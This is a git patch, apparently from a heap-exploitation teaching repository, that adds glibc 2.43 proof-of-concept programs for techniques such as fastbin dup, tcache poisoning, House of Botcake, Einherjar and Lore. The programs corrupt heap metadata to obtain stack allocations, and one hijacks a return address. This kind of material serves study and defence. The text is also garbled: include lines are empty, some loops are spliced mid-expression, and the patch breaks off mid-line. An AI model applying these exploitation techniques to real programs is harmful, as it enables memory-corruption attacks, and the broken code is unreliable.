From e363bb9722fa4caaa78c76f4fb8f794fbb274cf1 Mon Sep 17 00:00:00 2001 From: Kyle Zeng Date: Tue, 24 Mar 2026 22:49:12 -0700 Subject: [PATCH 01/11] populate 2.43 --- Makefile | 2 +- glibc_2.43/decrypt_safe_linking.c | 66 +++++ glibc_2.43/fastbin_dup.c | 62 +++++ glibc_2.43/fastbin_dup_consolidate.c | 85 ++++++ glibc_2.43/fastbin_dup_into_stack.c | 85 ++++++ glibc_2.43/fastbin_reverse_into_tcache.c | 109 ++++++++ glibc_2.43/house_of_botcake.c | 86 ++++++ glibc_2.43/house_of_einherjar.c | 157 +++++++++++ glibc_2.43/house_of_lore.c | 137 ++++++++++ glibc_2.43/house_of_mind_fastbin.c | 235 ++++++++++++++++ glibc_2.43/house_of_spirit.c | 52 ++++ glibc_2.43/house_of_tangerine.c | 168 ++++++++++++ glibc_2.43/house_of_water.c | 333 +++++++++++++++++++++++ glibc_2.43/mmap_overlapping_chunks.c | 144 ++++++++++ glibc_2.43/overlapping_chunks.c | 82 ++++++ glibc_2.43/poison_null_byte.c | 161 +++++++++++ glibc_2.43/safe_link_double_protect.c | 131 +++++++++ glibc_2.43/sysmalloc_int_free.c | 179 ++++++++++++ glibc_2.43/tcache_house_of_spirit.c | 44 +++ glibc_2.43/tcache_metadata_hijacking.c | 38 +++ glibc_2.43/tcache_metadata_poisoning.c | 60 ++++ glibc_2.43/tcache_poisoning.c | 63 +++++ glibc_2.43/unsafe_unlink.c | 64 +++++ 23 files changed, 2542 insertions(+), 1 deletion(-) create mode 100644 glibc_2.43/decrypt_safe_linking.c create mode 100644 glibc_2.43/fastbin_dup.c create mode 100644 glibc_2.43/fastbin_dup_consolidate.c create mode 100644 glibc_2.43/fastbin_dup_into_stack.c create mode 100644 glibc_2.43/fastbin_reverse_into_tcache.c create mode 100644 glibc_2.43/house_of_botcake.c create mode 100644 glibc_2.43/house_of_einherjar.c create mode 100644 glibc_2.43/house_of_lore.c create mode 100644 glibc_2.43/house_of_mind_fastbin.c create mode 100644 glibc_2.43/house_of_spirit.c create mode 100644 glibc_2.43/house_of_tangerine.c create mode 100644 glibc_2.43/house_of_water.c create mode 100644 glibc_2.43/mmap_overlapping_chunks.c create mode 100644 glibc_2.43/overlapping_chunks.c create mode 100644 glibc_2.43/poison_null_byte.c create mode 100644 glibc_2.43/safe_link_double_protect.c create mode 100644 glibc_2.43/sysmalloc_int_free.c create mode 100644 glibc_2.43/tcache_house_of_spirit.c create mode 100644 glibc_2.43/tcache_metadata_hijacking.c create mode 100644 glibc_2.43/tcache_metadata_poisoning.c create mode 100644 glibc_2.43/tcache_poisoning.c create mode 100644 glibc_2.43/unsafe_unlink.c diff --git a/Makefile b/Makefile index 90f34d64..901285c7 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,6 @@ .PHONY: help clean distclean all test -VERSIONS := 2.23 2.24 2.27 2.31 2.32 2.33 2.34 2.35 2.36 2.37 2.38 2.39 2.40 2.41 2.42 +VERSIONS := 2.23 2.24 2.27 2.31 2.32 2.33 2.34 2.35 2.36 2.37 2.38 2.39 2.40 2.41 2.42 2.43 TECH_BINS := $(patsubst %.c,%,$(wildcard glibc_*/*.c)) BASE_BINS := $(patsubst %.c,%,$(wildcard *.c)) DOWNLOADED := glibc-all-in-one/libs glibc-all-in-one/debs diff --git a/glibc_2.43/decrypt_safe_linking.c b/glibc_2.43/decrypt_safe_linking.c new file mode 100644 index 00000000..aaf0340e --- /dev/null +++ b/glibc_2.43/decrypt_safe_linking.c @@ -0,0 +1,66 @@ +#include +#include +#include + +long decrypt(long cipher) +{ + puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,"); + puts("because of the 12bit sliding."); + puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)"); + long key = 0; + long plain; + + for(int i=1; i<6; i++) { + int bits = 64-12*i; + if(bits < 0) bits = 0; + plain = ((cipher ^ key) >> bits) << bits; + key = plain >> 12; + printf("round %d:\n", i); + printf("key: %#016lx\n", key); + printf("plain: %#016lx\n", plain); + printf("cipher: %#016lx\n\n", cipher); + } + return plain; +} + +int main() +{ + /* + * This technique demonstrates how to recover the original content from a poisoned + * value because of the safe-linking mechanism. + * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known + * and the key (ASLR slide) is the same to the pointer's leading bits. + * As a result, as long as the chunk where the pointer is stored is at the same page + * of the pointer itself, the value of the pointer can be fully recovered. + * Otherwise, we can also recover the pointer with the page-offset between the storer + * and the pointer. What we demonstrate here is a special case whose page-offset is 0. + * For demonstrations of other more general cases, plz refer to + * https://github.com/n132/Dec-Safe-Linking + */ + + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + // step 1: allocate chunks + long *a = malloc(0x20); + long *b = malloc(0x20); + printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b); + malloc(0x10); + puts("And then create a padding chunk to prevent consolidation."); + + + // step 2: free chunks + puts("Now free chunk a and then free chunk b."); + free(a); + free(b); + printf("Now the freelist is: [%p -> %p]\n", b, a); + printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]); + + // step 3: recover the values + puts("Now decrypt the poisoned value"); + long plaintext = decrypt(b[0]); + + printf("value: %p\n", a); + printf("recovered value: %#lx\n", plaintext); + assert(plaintext == (long)a); +} diff --git a/glibc_2.43/fastbin_dup.c b/glibc_2.43/fastbin_dup.c new file mode 100644 index 00000000..1b56c795 --- /dev/null +++ b/glibc_2.43/fastbin_dup.c @@ -0,0 +1,62 @@ +#include +#include +#include + +int main() +{ + setbuf(stdout, NULL); + + printf("This file demonstrates a simple double-free attack with fastbins.\n"); + + printf("Allocate buffers to fill up tcache and prep fastbin.\n"); + void *ptrs[7]; + + for (int i=0; i<7; i++) { + ptrs[i] = malloc(8); + } + + printf("Allocating 3 buffers.\n"); + int *a = calloc(1, 8); + int *b = calloc(1, 8); + int *c = calloc(1, 8); + printf("1st malloc(8): %p\n", a); + printf("2nd malloc(8): %p\n", b); + printf("3rd malloc(8): %p\n", c); + + printf("Fill up tcache.\n"); + for (int i=0; i<7; i++) { + free(ptrs[i]); + } + + printf("Freeing the first chunk %p...\n", a); + free(a); + + printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); + // free(a); + + printf("So, instead, we'll free %p.\n", b); + free(b); + + printf("Now, we can free %p again, since it's not the head of the free list.\n", a); + /* VULNERABILITY */ + free(a); + /* VULNERABILITY */ + + printf("In order to use the free list for allocation, we'll need to empty the tcache.\n"); + printf("This is because since glibc-2.41, we can only reach fastbin by exhausting tcache first."); + printf("Because of this patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=226e3b0a413673c0d6691a0ae6dd001fe05d21cd"); + for (int i = 0; i < 7; i++) { + ptrs[i] = malloc(8); + } + + printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); + puts("Note that since glibc 2.41, malloc and calloc behave the same in terms of the usage of tcache and fastbin, so it doesn't matter whether we use malloc or calloc here."); + a = malloc(8); + b = calloc(1, 8); + c = calloc(1, 8); + printf("1st malloc(8): %p\n", a); + printf("2nd calloc(1, 8): %p\n", b); + printf("3rd calloc(1, 8): %p\n", c); + + assert(a == c); +} diff --git a/glibc_2.43/fastbin_dup_consolidate.c b/glibc_2.43/fastbin_dup_consolidate.c new file mode 100644 index 00000000..20891769 --- /dev/null +++ b/glibc_2.43/fastbin_dup_consolidate.c @@ -0,0 +1,85 @@ +#include +#include +#include + +/* +Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8 + +This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a +double free to gain two pointers to the same large-sized chunk, which is usually difficult to do +directly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes. + +malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially +merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top +if possible. + +As of glibc version 2.35 it is called only in the following five places: +1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965) +2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394) +3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674) +4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041) +5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463) + +We will be targeting the first place, so we will need to allocate a chunk that does not belong in the +small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901). +This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the +biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize +a double free to gain control of a tcache sized chunk. +*/ + +#define CHUNK_SIZE 0x400 + +int main() { + printf("This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\n"); + printf("Lets prepare to fill up the tcache in order to force fastbin usage...\n\n"); + + void *ptr[7]; + + for(int i = 0; i < 7; i++) + ptr[i] = malloc(0x40); + + void* p1 = malloc(0x40); + printf("Allocate another chunk of the same size p1=%p \n", p1); + + printf("Fill up the tcache...\n"); + for(int i = 0; i < 7; i++) + free(ptr[i]); + + printf("Now freeing p1 will add it to the fastbin.\n\n"); + free(p1); + + printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n"); + printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n"); + printf("a tcache-sized chunk with chunk size 0x410 "); + void* p2 = malloc(CHUNK_SIZE); + + printf("p2=%p.\n", p2); + + printf("\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\n"); + printf("Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\n"); + + assert(p1 == p2); + + printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\n\n"); + free(p1); // vulnerability (double free) + printf("It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\n"); + + printf("So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\n"); + + printf("We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\n"); + printf("the tcache bin. p2 and p1 will still be pointing to it.\n"); + void *p3 = malloc(CHUNK_SIZE); + + assert(p3 == p2); + + printf("We now have two pointers (p2 and p3) that haven't been directly freed\n"); + printf("and both point to the same tcache sized chunk. p2=%p p3=%p\n", p2, p3); + printf("We have achieved duplication!\n\n"); + + printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n"); + printf("have behaved the same, just being taken from the top instead of from the tcache bin.\n"); + printf("This is pretty cool because it is usually difficult to duplicate large sized chunks\n"); + printf("because they are resistant to direct double free's due to their PREV_INUSE check.\n"); + + return 0; +} diff --git a/glibc_2.43/fastbin_dup_into_stack.c b/glibc_2.43/fastbin_dup_into_stack.c new file mode 100644 index 00000000..a79d18a8 --- /dev/null +++ b/glibc_2.43/fastbin_dup_into_stack.c @@ -0,0 +1,85 @@ +#include +#include +#include +#include + +int main() +{ + setbuf(stdout, NULL); + + printf("This file extends on fastbin_dup.c by tricking malloc into\n" + "returning a pointer to a controlled location (in this case, the stack).\n"); + + unsigned long stack_var[4] __attribute__ ((aligned (0x10))); + printf("The address we want calloc() to return is %p.\n", stack_var + 2); + + printf("Allocate buffers to fill up tcache and prep fastbin.\n"); + void *ptrs[7]; + + for (int i=0; i<7; i++) { + ptrs[i] = malloc(8); + } + + printf("Allocating 3 buffers.\n"); + int *a = calloc(1,8); + int *b = calloc(1,8); + int *c = calloc(1,8); + printf("1st calloc(1,8): %p\n", a); + printf("2nd calloc(1,8): %p\n", b); + printf("3rd calloc(1,8): %p\n", c); + + printf("Fill up tcache.\n"); + for (int i=0; i<7; i++) { + free(ptrs[i]); + } + + printf("Freeing the first chunk %p...\n", a); + free(a); + + printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); + + printf("So, instead, we'll free %p.\n", b); + free(b); + + printf("Now, we can free %p again, since it's not the head of the free list.\n", a); + /* VULNERABILITY */ + free(a); + /* VULNERABILITY */ + + printf("In order to use the free list for allocation, we'll need to empty the tcache.\n"); + printf("This is because since glibc-2.41, we can only reach fastbin by exhausting tcache first."); + printf("Because of this patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=226e3b0a413673c0d6691a0ae6dd001fe05d21cd"); + for (int i = 0; i < 7; i++) { + ptrs[i] = malloc(8); + } + + printf("Now the free list has [ %p, %p, %p ]. " + "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); + unsigned long *d = calloc(1,8); + + printf("1st calloc(1,8): %p\n", d); + printf("2nd calloc(1,8): %p\n", calloc(1,8)); + printf("Now the free list has [ %p ].\n", a); + printf("Now, we have access to %p while it remains at the head of the free list.\n" + "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" + "so that calloc will think there is a free chunk there and agree to\n" + "return a pointer to it.\n", a); + puts("Note that this is only needed for calloc. It is not needed for malloc."); + stack_var[1] = 0x20; + + printf("Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); + printf("Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n"); + printf("^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n"); + unsigned long ptr = (unsigned long)stack_var+0x10; + unsigned long addr = (unsigned long) d; + /*VULNERABILITY*/ + *d = (addr >> 12) ^ ptr; + /*VULNERABILITY*/ + + printf("3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); + + void *p = calloc(1, 8); + + printf("4th calloc(1,8): %p\n", p); + assert((unsigned long)p == (unsigned long)stack_var+0x10); +} diff --git a/glibc_2.43/fastbin_reverse_into_tcache.c b/glibc_2.43/fastbin_reverse_into_tcache.c new file mode 100644 index 00000000..97c7a039 --- /dev/null +++ b/glibc_2.43/fastbin_reverse_into_tcache.c @@ -0,0 +1,109 @@ +#include +#include +#include +#include + +const size_t allocsize = 0x40; + +int main(){ + setbuf(stdout, NULL); + + printf("\n" + "This attack is intended to have a similar effect to the unsorted_bin_attack,\n" + "except it works with a small allocation size (allocsize <= 0x78).\n" + "The goal is to set things up so that a call to malloc(allocsize) will write\n" + "a large unsigned value to the stack.\n\n"); + printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n" + "An heap address leak is needed to perform this attack.\n" + "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n"); + printf("After the patch https://patchwork.sourceware.org/project/glibc/patch/20250206213709.2394624-2-benjamin.p.kallus.gr@dartmouth.edu/,\n" + "We need to control at least 8 byte before the region we want to allocate to (to forge the size).\n\n"); + + // Allocate 14 times so that we can free later. + char* ptrs[14]; + size_t i; + for (i = 0; i < 14; i++) { + ptrs[i] = malloc(allocsize); + } + + printf("First we need to free(allocsize) at least 7 times to fill the tcache.\n" + "(More than 7 times works fine too.)\n\n"); + + // Fill the tcache. + for (i = 0; i < 7; i++) free(ptrs[i]); + + char* victim = ptrs[7]; + printf("The next pointer that we free is the chunk that we're going to corrupt: %p\n" + "It doesn't matter if we corrupt it now or later. Because the tcache is\n" + "already full, it will go in the fastbin.\n\n", victim); + free(victim); + + printf("Next we need to free between 1 and 6 more pointers. These will also go\n" + "in the fastbin. If we don't control the data on the stack,\n" + "then we need to free exactly 6 more pointers, otherwise the attack will\n" + "cause a segmentation fault when traversing the linked list.\n" + "But if we control at least 8-byte on the stack, we know where the stack is,\n" + "and we want to control more data on the stack, a single free is sufficient\n" + "by forging a mangled NULL on the stack to terminate list traversal.\n\n"); + + // Fill the fastbin. + for (i = 8; i < 14; i++) free(ptrs[i]); + + // Create an array on the stack and initialize it with garbage. + size_t stack_var[6]; + memset(stack_var, 0xcd, sizeof(stack_var)); + stack_var[1] = 0x51; + + printf("The stack address that we intend to target: %p\n" + "It's current value is %p\n", &stack_var[2], (char*)stack_var[2]); + + printf("Now we use a vulnerability such as a buffer overflow or a use-after-free\n" + "to overwrite the next pointer at address %p\n\n", victim); + + //------------VULNERABILITY----------- + + // Overwrite linked list pointer in victim. + // The following operation assumes the address of victim is known, thus requiring + // a heap leak. + *(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12)); + + //------------------------------------ + + printf("The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n"); + + // Empty tcache. + for (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize); + + printf("Let's just print the contents of our array on the stack now,\n" + "to show that it hasn't been modified yet.\n\n"); + + for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]); + + printf("\n" + "The next allocation triggers the stack to be overwritten. The tcache\n" + "is empty, but the fastbin isn't, so the next allocation comes from the\n" + "fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n" + "Those 7 chunks are copied in reverse order into the tcache, so the stack\n" + "address that we are targeting ends up being the first chunk in the tcache.\n" + "It contains a pointer to the next chunk in the list, which is why a heap\n" + "pointer is written to the stack.\n" + "\n" + "Earlier we said that the attack will also work if we free fewer than 6\n" + "extra pointers to the fastbin, but only if the value on the stack is zero.\n" + "That's because the value on the stack is treated as a next pointer in the\n" + "linked list and it will trigger a crash if it isn't a valid pointer or null.\n" + "\n" + "The contents of our array on the stack now look like this:\n\n"); + + malloc(allocsize); + + for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]); + + char *q = malloc(allocsize); + printf("\n" + "Finally, if we malloc one more time then we get the stack address back: %p\n", q); + + assert(q == (char *)&stack_var[2]); + + return 0; +} diff --git a/glibc_2.43/house_of_botcake.c b/glibc_2.43/house_of_botcake.c new file mode 100644 index 00000000..1f7cb8ac --- /dev/null +++ b/glibc_2.43/house_of_botcake.c @@ -0,0 +1,86 @@ +#include +#include +#include +#include +#include +#include + + +int main() +{ + /* + * This attack should bypass the restriction introduced in + * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d + * If the libc does not include the restriction, you can simply double free the victim and do a + * simple tcache poisoning + * And thanks to @anton00b and @subwire for the weird name of this technique */ + + // disable buffering so _IO_FILE does not interfere with our heap + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + // introduction + puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into"); + puts("returning a pointer to an arbitrary location (in this demo, the stack)."); + puts("This attack only relies on double free.\n"); + + // prepare the target + intptr_t stack_var[4]; + puts("The address we want malloc() to return, namely,"); + printf("the target address is %p.\n\n", stack_var); + + // prepare heap layout + puts("Preparing heap layout"); + puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later."); + intptr_t *x[7]; + for(int i=0; inext pointer."); + // mangle the pointer since glibc 2.32 + unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var; + + puts("Get back victim chunk from tcache. This will put target to tcache top."); + a = malloc(0x100); + int a_size = a[-1] & 0xff0; + printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size); + + puts("Get the target chunk from tcache."); + intptr_t *target = malloc(0x100); + target[0] = 0xcafebabe; + + printf("target @ %p == stack_var @ %p\n", target, stack_var); + assert(stack_var[0] == 0xcafebabe); + return 0; +} diff --git a/glibc_2.43/house_of_einherjar.c b/glibc_2.43/house_of_einherjar.c new file mode 100644 index 00000000..cbcecb61 --- /dev/null +++ b/glibc_2.43/house_of_einherjar.c @@ -0,0 +1,157 @@ +#include +#include +#include +#include +#include + +int main() +{ + /* + * This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32. + * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc(). + * It has the additional requirement of a heap leak. + * + * After filling the tcache list to bypass the restriction of consolidating with a fake chunk, + * we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap. + * The following restriction for normal bins won't allow us to create chunks bigger than the memory + * allocated from the system in this arena: + * + * https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */ + + setbuf(stdin, NULL); + setbuf(stdout, NULL); + + printf("Welcome to House of Einherjar 2!\n"); + printf("Tested on Ubuntu 20.10 64bit (glibc-2.32).\n"); + printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"); + + printf("This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\n"); + printf("Next, we use tcache poisoning to hijack control flow.\n" + "Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41," + "now tcache poisoning requires a heap leak.\n"); + + // prepare the target, + // due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41, + // it must be properly aligned. + intptr_t stack_var[0x10]; + intptr_t *target = NULL; + + // choose a properly aligned target address + for(int i=0; i<0x10; i++) { + if(((long)&stack_var[i] & 0xf) == 0) { + target = &stack_var[i]; + break; + } + } + assert(target != NULL); + printf("\nThe address we want malloc() to return is %p.\n", (char *)target); + + printf("\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n"); + intptr_t *a = malloc(0x38); + + // create a fake chunk + printf("\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n"); + printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"); + + a[0] = 0; // prev_size (Not Used) + a[1] = 0x60; // size + a[2] = (size_t) a; // fwd + a[3] = (size_t) a; // bck + + printf("Our fake chunk at %p looks like:\n", a); + printf("prev_size (not used): %#lx\n", a[0]); + printf("size: %#lx\n", a[1]); + printf("fwd: %#lx\n", a[2]); + printf("bck: %#lx\n", a[3]); + + printf("\nWe allocate 0x28 bytes for 'b'.\n" + "This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n" + "After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n"); + uint8_t *b = (uint8_t *) malloc(0x28); + printf("b: %p\n", b); + + int real_b_size = malloc_usable_size(b); + printf("Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n", real_b_size); + + /* In this case it is easier if the chunk size attribute has a least significant byte with + * a value of 0x00. The least significant byte of this will be 0x00, because the size of + * the chunk includes the amount requested plus some amount required for the metadata. */ + printf("\nWe allocate 0xf8 bytes for 'c'.\n"); + uint8_t *c = (uint8_t *) malloc(0xf8); + + printf("c: %p\n", c); + + uint64_t* c_size_ptr = (uint64_t*)(c - 8); + // This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit + + printf("\nc.size: %#lx\n", *c_size_ptr); + printf("c.size is: (0x100) | prev_inuse = 0x101\n"); + + printf("We overflow 'b' with a single null byte into the metadata of 'c'\n"); + // VULNERABILITY + b[real_b_size] = 0; + // VULNERABILITY + printf("c.size: %#lx\n", *c_size_ptr); + + printf("It is easier if b.size is a multiple of 0x100 so you " + "don't change the size of b, only its prev_inuse bit\n"); + + // Write a fake prev_size to the end of b + printf("\nWe write a fake prev_size to the last %lu bytes of 'b' so that " + "it will consolidate with our fake chunk\n", sizeof(size_t)); + size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a); + printf("Our fake prev_size will be %p - %p = %#lx\n", c - sizeof(size_t) * 2, a, fake_size); + *(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size; + + // Change the fake chunk's size to reflect c's new prev_size + printf("\nMake sure that our fake chunk's size is equal to c's new prev_size.\n"); + a[1] = fake_size; + + printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", a[1]); + + // Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk + printf("\nFill tcache.\n"); + intptr_t *x[7]; + for(int i=0; i %p ].\n", b, pad); + + printf("We overwrite b's fwd pointer using chunk 'd'\n"); + // requires a heap leak because it assumes the address of d is known. + // since house of einherjar also requires a heap leak, we can simply just use it here. + d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12); + + // take target out + printf("Now we can cash out the target chunk.\n"); + malloc(0x28); + intptr_t *e = malloc(0x28); + printf("\nThe new chunk is at %p\n", e); + + // sanity check + assert(e == target); + printf("Got control on target/stack!\n\n"); +} diff --git a/glibc_2.43/house_of_lore.c b/glibc_2.43/house_of_lore.c new file mode 100644 index 00000000..a1586e06 --- /dev/null +++ b/glibc_2.43/house_of_lore.c @@ -0,0 +1,137 @@ +/* +Advanced exploitation of the House of Lore - Malloc Maleficarum. +This PoC take care also of the glibc hardening of smallbin corruption. + +[ ... ] + +else + { + bck = victim->bk; + if (__glibc_unlikely (bck->fd != victim)){ + + errstr = "malloc(): smallbin double linked list corrupted"; + goto errout; + } + + set_inuse_bit_at_offset (victim, nb); + bin->bk = bck; + bck->fd = bin; + + [ ... ] + +*/ + +#include +#include +#include +#include +#include + +void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); } + +int main(int argc, char * argv[]){ + + + intptr_t* stack_buffer_1[4] = {0}; + intptr_t* stack_buffer_2[4] = {0}; + void* fake_freelist[7][4]; + + fprintf(stderr, "\nWelcome to the House of Lore\n"); + fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n"); + fprintf(stderr, "This is tested against Ubuntu 22.04 - 64bit - glibc-2.35\n\n"); + + fprintf(stderr, "Allocating the victim chunk\n"); + intptr_t *victim = malloc(0x100); + fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim); + + fprintf(stderr, "Allocating dummy chunks for using up tcache later\n"); + void *dummies[7]; + for(int i=0; i<7; i++) dummies[i] = malloc(0x100); + + // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk + intptr_t *victim_chunk = victim-2; + + fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1); + fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2); + + fprintf(stderr, "Create a fake free-list on the stack\n"); + for(int i=0; i<6; i++) { + fake_freelist[i][3] = fake_freelist[i+1]; + } + fake_freelist[6][3] = NULL; + fprintf(stderr, "fake free-list at %p\n", fake_freelist); + + fprintf(stderr, "Create a fake chunk on the stack\n"); + fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted" + "in second to the last malloc, which putting stack address on smallbin list\n"); + stack_buffer_1[0] = 0; + stack_buffer_1[1] = 0; + stack_buffer_1[2] = victim_chunk; + + fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 " + "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake " + "chunk on stack"); + stack_buffer_1[3] = (intptr_t*)stack_buffer_2; + stack_buffer_2[2] = (intptr_t*)stack_buffer_1; + + fprintf(stderr, "Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash " + "introduced by smallbin-to-tcache mechanism\n"); + stack_buffer_2[3] = (intptr_t *)fake_freelist[0]; + + fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with" + "the small one during the free()\n"); + void *p5 = malloc(1000); + fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5); + + + fprintf(stderr, "Freeing dummy chunk\n"); + for(int i=0; i<7; i++) free(dummies[i]); + fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); + free((void*)victim); + + fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\n"); + fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); + fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); + + fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n"); + fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim); + + void *p2 = malloc(1200); + fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2); + + fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n"); + fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); + fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); + + //------------VULNERABILITY----------- + + fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); + + victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack + + //------------------------------------ + fprintf(stderr, "Now take all dummies chunk in tcache out\n"); + for(int i=0; i<7; i++) malloc(0x100); + + + fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n"); + fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n"); + + void *p3 = malloc(0x100); + + fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n"); + char *p4 = malloc(0x100); + fprintf(stderr, "p4 = malloc(0x100)\n"); + + fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n", + stack_buffer_2[2]); + + fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack + intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode + + long offset = (long)__builtin_frame_address(0) - (long)p4; + memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary + + // sanity check + assert((long)__builtin_return_address(0) == (long)jackpot); +} diff --git a/glibc_2.43/house_of_mind_fastbin.c b/glibc_2.43/house_of_mind_fastbin.c new file mode 100644 index 